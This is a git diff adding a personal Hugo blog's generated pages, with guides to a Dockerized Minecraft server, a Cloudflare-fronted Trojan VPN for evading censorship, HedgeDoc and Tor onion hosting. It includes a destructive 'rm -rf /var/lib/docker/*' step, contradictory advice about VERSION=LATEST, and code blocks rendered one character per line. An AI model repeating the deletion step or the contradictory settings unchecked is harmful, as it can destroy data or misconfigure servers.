    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + + + +
    + + + + +/ +d +e +v +/ +m +a +p +p +e +r +/ +u +b +u +n +t +u +- +- +v +g +- +v +a +r +3 +. +9 +G +3 +. +4 +G +3 +3 +3 +M +9 +2 +% +v +a +r + + + + +
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + + + +
    + + + +S +t +a +r +t +i +n +g +m +i +n +e +c +r +a +f +t +s +e +r +v +e +r +v +e +r +s +i +o +n +1 +. +2 +1 +. +9 +P +r +e +- +R +e +l +e +a +s +e +2 + + + + +
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +]]>
    \ No newline at end of file diff --git a/public/categories/games/page/1/index.html b/public/categories/games/page/1/index.html new file mode 100644 index 0000000..63d2fed --- /dev/null +++ b/public/categories/games/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/games/ + \ No newline at end of file diff --git a/public/categories/guides/index.html b/public/categories/guides/index.html new file mode 100644 index 0000000..6c68f3c --- /dev/null +++ b/public/categories/guides/index.html @@ -0,0 +1,17 @@ +Guides | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/categories/guides/index.xml b/public/categories/guides/index.xml new file mode 100644 index 0000000..0618f0e --- /dev/null +++ b/public/categories/guides/index.xml @@ -0,0 +1,508 @@ +Guides on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/guides/Recent content in Guides on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + + + +
    + + + +C +l +i +e +n +t + +C +l +o +u +d +f +l +a +r +e +( +4 +4 +3 +) + +N +g +i +n +x +( +4 +4 +3 +) + +T +r +o +j +a +n +( +l +o +c +a +l +h +o +s +t +: +5 +4 +3 +2 +1 +) + + + + +
    +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + + + +
    + + + +t +r +o +j +a +n +: +/ +/ +< +P +A +S +S +W +O +R +D +> +@ +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +: +4 +4 +3 +? +t +y +p +e += +w +s +& +s +e +c +u +r +i +t +y += +t +l +s +& +h +o +s +t += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +& +p +a +t +h += +% +2 +F +s +t +e +a +l +t +h +- +p +a +t +h +_ +a +b +c +d +1 +2 +3 +4 +& +s +n +i += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +# +M +y +S +t +e +a +l +t +h +V +P +N + + + + +
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +]]>
    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +]]>
    \ No newline at end of file diff --git a/public/categories/guides/page/1/index.html b/public/categories/guides/page/1/index.html new file mode 100644 index 0000000..40bfed5 --- /dev/null +++ b/public/categories/guides/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/guides/ + \ No newline at end of file diff --git a/public/categories/homelab/index.html b/public/categories/homelab/index.html new file mode 100644 index 0000000..a4835a8 --- /dev/null +++ b/public/categories/homelab/index.html @@ -0,0 +1,10 @@ +Homelab | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/categories/homelab/index.xml b/public/categories/homelab/index.xml new file mode 100644 index 0000000..ac4dc7a --- /dev/null +++ b/public/categories/homelab/index.xml @@ -0,0 +1,259 @@ +Homelab on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/homelab/Recent content in Homelab on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + + + +
    + + + + +/ +d +e +v +/ +m +a +p +p +e +r +/ +u +b +u +n +t +u +- +- +v +g +- +v +a +r +3 +. +9 +G +3 +. +4 +G +3 +3 +3 +M +9 +2 +% +v +a +r + + + + +
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + + + +
    + + + +S +t +a +r +t +i +n +g +m +i +n +e +c +r +a +f +t +s +e +r +v +e +r +v +e +r +s +i +o +n +1 +. +2 +1 +. +9 +P +r +e +- +R +e +l +e +a +s +e +2 + + + + +
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +]]>
    \ No newline at end of file diff --git a/public/categories/homelab/page/1/index.html b/public/categories/homelab/page/1/index.html new file mode 100644 index 0000000..01da670 --- /dev/null +++ b/public/categories/homelab/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/homelab/ + \ No newline at end of file diff --git a/public/categories/index.html b/public/categories/index.html new file mode 100644 index 0000000..5c25499 --- /dev/null +++ b/public/categories/index.html @@ -0,0 +1,8 @@ +Categories | AlipourIm journeys +
    + +RSS + \ No newline at end of file diff --git a/public/categories/index.xml b/public/categories/index.xml new file mode 100644 index 0000000..52a331c --- /dev/null +++ b/public/categories/index.xml @@ -0,0 +1 @@ +Categories on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/Recent content in Categories on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Gameshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/games/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/games/Homelabhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/homelab/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/homelab/DevOpshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/devops/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/devops/Noteshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/notes/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/notes/Guideshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/guides/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/guides/ \ No newline at end of file diff --git a/public/categories/notes/index.html b/public/categories/notes/index.html new file mode 100644 index 0000000..a009cd7 --- /dev/null +++ b/public/categories/notes/index.html @@ -0,0 +1,14 @@ +Notes | AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/categories/notes/index.xml b/public/categories/notes/index.xml new file mode 100644 index 0000000..4a9e3b4 --- /dev/null +++ b/public/categories/notes/index.xml @@ -0,0 +1,422 @@ +Notes on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/notes/Recent content in Notes on AlipourIm journeysHugo -- 0.146.0enFri, 19 Sep 2025 00:00:00 +0000Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    + + + +
